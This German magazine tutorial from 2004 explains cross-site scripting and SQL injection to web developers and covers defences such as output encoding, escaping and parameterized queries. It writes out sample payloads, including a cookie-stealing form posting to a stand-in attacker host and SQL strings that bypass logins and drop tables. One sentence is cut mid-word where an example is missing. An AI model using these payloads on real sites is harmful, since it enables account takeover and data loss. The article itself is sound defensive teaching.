Cross-Site Scripting und SQL-Injection

31.08.2004 von THOMAS WOELFER 
Web-Seiten sind leichter angreifbar, als man meinen möchte. Opfer können dabei sowohl der Betreiber der Webseite als auch deren Benutzer sein. Dabei ist ein Schutz vor den gängigsten Angriffen relativ leicht möglich.

Cross-Site Scripting (CSS oder XSS) ist ein Angriffsverfahren, bei dem der Angreifer den Benutzer einer anderen Webseite aushorchen will. Im Wesentlichen wird der Angreifer dabei dem anderen Benutzer vorgaukeln, er sähe Inhalte der Webseite, die er gerade besucht, obwohl der Angreifer diese Inhalte hergestellt hat. Letztere können natürlich auch JavaScript oder Elemente von anderen Sprachen enthalten - dadurch kann der Angreifer an Informationen gelangen, die der Angegriffene nicht freiwillig herausgegeben hätte.

Beim XSS geht es nicht um eine Möglichkeit, in einen Server einzubrechen, sondern ausdrücklich darum, einen anderen Benutzer einer Webseite anzugreifen. Dabei muss auch nicht ausdrücklich irgendeine Art von Scripting verwendet werden, und auch das "Cross-Site" ist nicht unbedingt notwendig - der Name für diesen Angriffsvektor ist also missverständlich.

Zunächst gilt es, eines klarzustellen: Beim Cross-Site Scripting handelt es sich nicht um ein Problem eines spezifischen Browsers oder Servers. Um genau zu sein, ist es noch nicht einmal ein Problem, das man klar der Server- oder Client-Seite einer Internet-Sitzung zuordnen kann: Vielmehr handelt es sich beim XSS um ein wirklich plattformübergreifendes Problem, das aus nicht vorhergesehenen Interaktionen zwischen komplexen, vernetzten Systemen resultiert.

Außerdem ist XSS - das auch gerne mit CSS abgekürzt wird - nicht mit den "Cascading Style Sheets" zu verwechseln, bei denen es sich um eine Formatierungssprache für Webseiten handelt. Um diese Begriffsverwirrung zu vermeiden, wird die Angriffsart an dieser Stelle mit XSS und nicht mit CSS abgekürzt.

Grundlagen des XSS

Bekannt ist Cross-Site Scripting schon recht lange: Im Jahre 2000 veröffentlichte das CERT einen Beitrag, in dem die Problematik erläutert wurde. Seitdem hat sich nicht viel geändert - praktisch jede Woche werden neue XSS-Angriffsflächen in kommerziellen und nicht-kommerziellen Web-Anwendungen aufgedeckt. Dazu gehört etwa auch das weit verbreitete PHPNuke, mit dem viele Betreiber von Websites ihre dynamischen Seiten ausliefern und gestalten.

Bei statischen HTML-Seiten hat der Betreiber die volle Kontrolle darüber, was an seine Besucher ausgeliefert wird. Auch bei dynamisch erzeugten Seiten ist der Betreiber so lange sicher, wie er lediglich eigene Inhalte ausliefert. Ermöglicht er seinen Besuchern jedoch das Einstellen von Inhalten - etwa in einem Gästebuch oder einem Forum - hat er nicht mehr die volle Kontrolle. Im Kern geht es bei XSS-Angriffen darum, unsichere Inhalte so in eine dynamische Seite einzuschmuggeln, dass weder Server noch Client dies erkennen. Somit sind beide nicht in der Lage, passende Schutzmaßnahmen zu ergreifen.

Dynamische Webseiten und HTML

Bei HTML werden Inhalte und Markup durch spezielle Zeichenfolgen unterschieden. So leitet das Kleiner-Zeichen typischerweise einen HTML-Tag ein. Dabei können HTML-Tags entweder für die Formatierung einer Seite zuständig sein, oder aber sie leiten ein Script ein, das dann erst auf der Client-Seite im Browser ausgeführt wird (<SCRIPT>).

Erzeugt nun ein Webserver dynamische Seiten, muss er sicherstellen, dass die dynamisch generierten Inhalte (etwa das Resultat einer Datenbanksuche) keine der speziellen HTML-Zeichen enthalten. Tut der Server das nicht, kann es passieren, dass der Client Teile der Daten der Webseite als HTML-Tags oder Script interpretiert, statt diese Daten wie gewünscht in textueller Form darzustellen.

Bei vielen Webseiten ist es allerdings so, dass die Besucher selbst Inhalte beisteuern können. Sei es nun in Form eines Gästebuches, eines Forums oder einer Kommentarfunktion für Blog-Einträge. Damit erhält ein Angreifer die Möglichkeit zu bestimmen, welche Daten ein Webserver an andere Anwender ausliefert. Der Angreifer kann dann versuchen, dem Browser des Besuchers der Webseite ein Script unterzujubeln, das dieser anschließend ausführt. Dieses Script wird danach im Sicherheitskontext des Webservers ausgeführt. Dadurch hat das Script einen unerwünschten Sicherheitskontext und damit auch unerwünschte Privilegien innerhalb des Browsers des Angegriffenen.

Nun zu ein paar Beispielen, wie solche Angriffe in der Praxis aussehen können. Der einfachste Fall ist dabei der, der unter anderem in vielen webbasierten Diskussionsforen möglich ist. Dabei stellt ein Anwender des Forums Daten zur Verfügung, die von einem anderen Anwender gelesen werden können.

Bösartiger Code

Ein möglicher Angriff sähe in einem solchen Fall dann so aus, dass der Angreifer zum Beispiel die folgende Nachricht veröffentlicht:

Hallo! Das ist meine Nachricht. <SCRIPT>Hier kommt der angreifende Code</SCRIPT>. Bis bald und viele Grüße!

Wird diese Nachricht auf einem Client angezeigt, bei dem die Ausführung von Script zugelassen wird - und das ist nahezu immer der Fall - so wird auf dem Client der Code innerhalb des Script-Tags ausgeführt. Diese Methode des Angriffs ist nicht nur mit dem <SCRIPT>-Tag, sondern auch mit anderen HTML-Tags möglich. Das sind die Tags <SCRIPT>, <OBJECT>, <APPLET> und <EMBED>. Eine Lösung ist in solchen Fällen einfach: Der Programmierer der Webanwendung muss diese Tags ausdrücklich beim Entgegennehmen von Nachrichten ausfiltern, damit derartige Inhalte nicht auf dem Server gespeichert werden.

Selbst versendeter bösartiger Code

Ein User kann sich den bösartigen Code aber auch "selbst senden" - und zwar dann, wenn er beim Absenden der Anforderung auf eine nicht vertrauenswürdige Ressource vertraut. Dazu konstruiert der Angreifer einen Link wie diesen:

<a href="http://www.primasite.com/mylinks.cgi?mycomment= <SCRIPT>ScriptCode</SCRIPT>">Hier klicken</a>

Beim Klicken auf den Link wird dann der Kommentar des Users an den richtigen Server gesendet und dort ausgewertet. Liefert der Server dann aber eine Seite zurück, in der unter anderem auch der vom Anwender eingegebene Inhalt steht, führt dies dazu, dass das in der URL als Parameter eingebettete Script auf dem Browser des Users ausgeführt wird. Der User schickt sich also selbst ein unter Umständen bösartiges Script! Zugegeben: Dazu muss der Angreifer natürlich erst einmal in der Lage sein, den passenden Link beim Angegriffenen unterzubringen - was in Webdiskussionsforen unter Umständen recht schwierig sein könnte.

Allerdings geht das auch bei webbasierten Messaging-Systemen - und eine E-Mail mit HTML-Inhalten zu versenden, stellt für den Angreifer kein großartiges Problem dar. Dabei sei noch angemerkt, dass der Server, an den der Request gesendet wird, nicht unbedingt der vom User gewünschte Server sein muss: Stattdessen kann der Angreifer den Link auch so formulieren, dass der Request zunächst an einen Server des Hackers geht. Dort wird dann die per URL-Parameter übertragene Information (zum Beispiel der Inhalt eines Cookies auf dem Client) ausgewertet - und dann wird der Request einfach an den "richtigen" Server weitergeleitet: Der User bekommt davon also gar nichts mit, denn er erhält seine Antwort ja vom "richtigen" Server.

Bösartiger Code von fremder Site

Die Sache geht aber noch weiter: So kann der Angreifer das bösartige Script auch beispielsweise von einer anderen Webseite - also seiner eigenen - abholen. Alles was er dazu braucht, ist wieder ein passend formulierter Link:

<A HREF="http://gutesite/comment.cgi?mycomment=<SCRIPT SRC='http://boese-site.com/script'></SCRIPT>">Hier klicken</A>

Dieses Beispiel ist für den Namen von XSS zuständig: Hier injiziert eine Seite Code in eine Seite, die von einem anderen Server stammt: Cross-Site Scripting. Nun wurde bereits erwähnt, dass der Angreifer das Opfer durch derartige Maßnahmen aushorchen kann. Im einfachsten Fall ermöglicht es ein solcher Angriff, Cookies des Opfers auszulesen und an einen Server des Angreifers zu senden. In Cookies werden aber zum Beispiel oft Anmeldeinformationen für eine Website abgelegt, damit der User sich beim nächsten Besuch nicht erneut anmelden muss: Gelingt es dem Angreifer also, solch ein Cookie auszulesen, kann er auf der Webseite auch unter dem Account des Users auftreten. Ein solcher Cookie-Diebstahl könnte beispielsweise folgendermaßen aussehen:

<a href=http://www.gutesite.com/req.asp?name=
<FORM action=http://www.boesesite.com/data.asp
method=post id="idForm">
<INPUT name="cookie" type="hidden">
</FORM>
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
</SCRIPT> >
Hier klicken
</a>

Um die eigenen Anwender vor diesen Angriffsvektoren zu schützen, muss der Programmierer der Webanwendung sicherstellen, dass "unsichere" Daten, die vom Webserver ausgehen, zuvor gefiltert werden. Derlei unsichere Daten können aus verschiedenen Quellen stammen. Dazu gehören URL-Parameter, Formularinhalte, aber auch Datenbankabfragen und Cookies.

Jeder Input ist böser Input

Die einfachste Möglichkeit, unerwünschten Inhalt zu vermeiden, besteht darin, grundsätzlich allen von außen eingehenden Inhalten zu misstrauen - und diese Inhalte zu filtern. Dazu lässt man am besten immer nur die Daten zu, die auch erwünscht sind. Wird beispielsweise in einem Formular eine E-Mail-Adresse verlangt, dann sollten Sie auch nur die Eingabe einer gültigen E-Mail-Adresse zulassen - und nichts anderes.

Stellt Ihr Test fest, dass die eingegebenen Daten nicht korrekt sind, geben Sie diese keinesfalls nochmals aus. Wenn der Inhalt XYZ123 nicht zum gewünschten Inhalt eines Feldes passt, dann zeigen Sie keine Seite mit dem Text: "Ihre Angabe XYZ123 ist ungültig" an - ansonsten öffnen Sie erneut eine Tür für XSS, weil die Eingabe ja unter Umständen wiederum Script-Code enthält, der auf dieser Fehlerseite erneut ausgeführt würde. Und genau das wollten Sie eigentlich vermeiden.

Der einfachste Weg, eingegebene Inhalte auf ihre Validität zu testen, besteht in der Verwendung von regulären Ausdrücken. Dabei nutzen Sie diese, um zu testen, ob die Benutzereingaben vollständig einem erwünschten, gültigen Muster entsprechen - weicht die Eingabe vom Muster ab, ignorieren Sie diese. Eine deutsche Postleitzahl besteht beispielsweise immer aus genau fünf Ziffern, nicht mehr und nicht weniger, und sie enthält schon gar keine sonstigen Zeichen.

Sowohl bei PHP und Perl als auch bei ASP und ASP.Net finden Sie umfangreiche Unterstützung für reguläre Ausdrücke. Im Fall von PHP beginnen diese Funktionen mit dem Prefix "preg_". Eine Zusammenfassung dieser Funktionen samt Beschreibung bietet die Site php.net.

Bei ASP finden Sie den Support für reguläre Ausdrücke per JavaScript und VBScript im Objekt RegExp. Bei ASP.NET erhalten Sie Zugriff auf Regular Expressions über den Namespace System.Text.RegularExpression.

Spitze Klammern filtern, reicht nicht

Dabei ist es nicht ausreichend, wenn Sie einfach nur die spitzen Klammern ausfiltern, um dadurch das Einbetten von <SCRIPT>-Tags zu umgehen. Um genau zu sein, macht es nicht viel Sinn, diese Klammern blind auszufiltern. r Besucher die Maus nun über das Bild, so wird der Inhalt des Cookies per alert angezeigt. Der Angreifer hätte diesen Inhalt aber natürlich auch an seinen eigenen Server senden können. Aus diesem Beispiel kann man zwei Dinge lernen: Zum einen bringt es nichts, einfach nur spezielle Zeichen auszufiltern, zum anderen verfügen Sie nun über eine einfache Methode, um Ihre ASP-Seiten auf XSS-Probleme zu testen. Mit einem leicht geänderten Querystring können Sie damit auch Ihre PHP-Seiten testen.

Neben der speziellen Filterung von Inhalten pro Feld lässt sich eine allgemeine Methode zum Sichern der dynamisch erzeugten Daten einsetzen: Sofern die Daten für eine Webseite verwendet werden, benutzen Sie die Funktion HTMLEncode für alle ausgegebenen Strings mit unsicherem Ursprung, für URLs können Sie URLEncode nutzen. Bei beiden Methoden werden alle potenziell gefährlichen Zeichen dadurch neutralisiert, dass sie vor der Ausgabe "escaped" werden.

Bei PHP finden Sie ähnliche Funktionen unter den Namen htmlentities, htmlspecialchars und urlencode. Das CERT Advisory zu XSS mit einigen weiteren Informationen finden Sie hier.

Angriff auf Datenbanken: SQL-Injection

Anders als beim XSS geht es bei der SQL -Injection (Einschleusung von SQL-Code) nicht darum, einen anderen Anwender einer Webseite anzugreifen. Vielmehr wird das SQL-Injection-Verfahren verwendet, um direkt die Datenbank hinter einem Webserver anzugreifen. Als Resultat des Angriffs kann der Angreifer unter Umständen Code auf der Datenbank ausführen, Zugriff auf geschützte Daten erlangen oder zumindest Schaden in der Datenbank anrichten.

Der Kern des Angriffs ist aber ähnlich gelagert wie bei XSS. Das Verfahren basiert darauf, dass der Angreifer passende Daten in den Webserver schmuggelt, indem er Scripts mit entsprechenden Daten füttert. Das geht meist über Formfelder, zum Beispiel einem Login-Feld der Webanwendung. Werden die dort eingegebenen Daten einfach ungefiltert an die Datenbank weitergegeben, dann ist die Datenbank per SQL-Injection angreifbar.

Das geht so: Angenommen Ihre Webseite hat ein ganz normales Formular, mit dessen Hilfe sich die Benutzer Ihrer Site anmelden können. Der HTML-Code für das Formular könnte folgendermaßen aussehen:

<form action="login.aspx">
<input type="textbox" name="username">
<input type="password" name="password">
<br/>
<input type="submit">
</form>

Der ASP(X)-Code zur Weiterverarbeitung der Benutzereingaben würde dann ungefähr den folgenden Aufbau haben:

Dim SQL As String = "SELECT Count(*) FROM Users WHERE UserName = '" & username.text & "' AND Password = '" & password.text & "'"
Dim tCommand As SQLCommand = New SQLCommand(SQL, Connection)
Dim thisCount As Integer = tCommand.ExecuteScalar()

Der Code setzt zunächst einen SQL-String zusammen und führt diesen dann auf der Datenbank aus. Ob der Anwender einen passenden User-Namen und ein gültiges Passwort angegeben hat, können Sie am von der Funktion ExecuteScalar zurück gelieferten Integer ablesen. Sofern Sie einen Linux-Server mit MySQL und PHP verwenden, sähe der Code auch nicht viel anders aus:

$query = "select count(*) from users where username=" . $username . " and password=" . $password . " limit 1";
$result = mysql_db_query( "database", $query, $connection);
$num = mysql_num_rows( $result);

Gefahren durch Benutzereingaben

Egal ob PHP oder ASP(X) - im Wesentlichen wird also immer eine SQL-Abfrage zusammengesetzt und dann an den SQL-Server gesendet. Das Problem liegt hier an einer ähnlichen Stelle wie beim XSS: Die Benutzereingaben, die in den Variablen username und password stehen, werden einfach ungetestet benutzt. Das bedeutet aber auch, dass der Angreifer dort beliebige Texte eintragen kann, die unbesehen an den Datenbank-Server weitergegeben werden.

Das kann fatale Folgen haben, wenn ein Benutzer beispielsweise folgenden Text in der Textbox für den Benutzernamen einträgt:

' or 0=0 --

Bevor wir die Konsequenzen dieses Textes vom Standpunkt der Sicherheit erläutern, noch ein Rat: Wenn Ihnen der vorab abgebildete Ausdruck nichts sagt, sollten Sie zunächst ein gutes Buch oder eine Webseite über SQL-Queries und die Verwendung von Sonderzeichen konsultieren. Das wird Ihnen mit Sicherheit in Zukunft eine Menge Ärger ersparen.

Doch weiter mit dem Sicherheitsaspekt des Textes. Da der Text einfach in den SQL-Querystring eingebaut wird, sieht dieser nun wie folgt aus:

Select count(*) from users where username=' or 0=0 - - and password= limit 1

Dabei ist es wichtig zu wissen, wofür die beiden Minus-Zeichen (- -) im Query-string stehen. Sie kommentieren nämlich den Rest der Abfragebedingungen aus: Von diesen Zeichen an ignoriert der Server alle weiteren Zeichen.

Effektiv gibt es also ein Select, das immer den Wert true annimmt - denn die Auswahl des leeren User-Namens spielt keine Rolle, da der Ausdruck "0 = 0" immer wahr ist und damit die Oder-Verknüpfung das Ergebnis "wahr" hat. Die Abfrage evaluiert also zu "true" - und der Angreifer hat sich erfolgreich bei Ihrer Anwendung eingeloggt, ohne auch nur einen Benutzer zu kennen - geschweige denn sein Passwort. Das mag auf den ersten Blick noch nicht so schlimm wirken: Was kann der Angreifer schon groß tun, denn schließlich hat er ja keinen Zugriff auf "echte" Account-Daten.

Löschen ganzer Tabellen

Auf den zweiten Blick sieht die Sache aber anders aus. Angenommen, der Angreifer nutzt nicht den oben genannten String, sondern folgenden:

'; drop table users --

Das Resultat ist heftig: Durch den Hochhaken und das Semikolon wird der erste SQL-Befehl effektiv beendet, ohne irgendwelche Auswirkungen zu haben - aber nach dem Semikolon fügt der Angreifer einen weiteren SQL-Befehl an: Und dieser löscht Ihnen die komplette User-Tabelle.

Zugegeben, damit das gelingt, muss der Angreifer auch noch das Glück haben, dass die SQL-Verbindung falsch konfiguriert ist, denn bei einer vernünftigen Konfiguration würde "drop table" an mangelnden Rechten scheitern. Wer aber Abfragen dieser Art ungefiltert zulässt, wird vermutlich die Rechte im Datenbank-Server auch nicht sonderlich sinnvoll vergeben haben. (Tipp: Ihre Webanwendung sollte, sofern möglich, nur mit Accounts arbeiten, die aus der Datenbank lesen dürfen - und auch nur die Tabellen, die tatsächlich für die Allgemeinheit gedacht sind.)

Einen Angriff, infolge dessen die User-Tabelle komplett gelöscht wurde, bemerken Sie sicherlich schnell - schließlich kann sich niemand mehr an Ihrer Anwendung anmelden. Der Angreifer kann aber auch andere Kommandos per SQL an die Datenbank schicken. An einer passenden Stelle eingefügt, kommt er zum Beispiel leicht an alle Benutzer-Accounts Ihrer Webanwendung, oder aber er verändert die Daten der Benutzer.

Schutz vor SQL-Injection bei PHP und ASP

Mit ein wenig Vorsicht ist es aber nicht sonderlich schwierig, Angriffsflächen für SQL-Injection-Attacken zu minimieren. Wenn Sie Ihre Webseiten per PHP zusammensetzen, können Sie das beispielsweise mit der vorgefertigten Funktion mysql_escape_string erledigen. Hier müssen Sie nur alle Parameter, die aus Anwendereingaben stammen und in den Querystring eingehen, mit dieser Funktion escapen. Das stellt sicher, dass Angreifer keine Angriffsfläche für eine SQL-Injection finden.

Bei ASP(X) können Sie auch eine Methode zum Escapen verwenden oder aber gleich den eleganteren Ansatz: parametrisierte Queries. Die bereits weiter oben beschriebene SQL-Abfrage lässt sich zudem wie folgt erzeugen - und zwar ohne den Problemen von SQL-Injection ausgesetzt zu sein:

Dim tCommand As SQLCommand = New SQLCommand("SELECT Count(*) FROM Users WHERE UserName = @username AND Password = @password", Connection)
tCommand.Parameters.Add ("@username", SqlDbType.VarChar).Value = username
tCommand.Parameters.Add ("@password", SqlDbType.VarChar).Value = password
Dim thisCount As Integer = tCommand.ExecuteScalar()

In diesem Beitrag haben Sie erfahren, was die beiden häufigsten Angriffsformen gegen Websites sind - und wie Sie sich und Ihre Benutzer schützen. Der Aufwand ist zwar höher, da Sie Ihren Code ständig zusätzlich aus den Augen eines Hackers betrachten müssen, aber die verbesserte Sicherheit ist es wert. Einmal davon abgesehen, dass Datenschutzbestimmungen empfindliche Strafen vorsehen, wenn persönliche Daten von Benutzern in falsche Hände gelangen. (mha)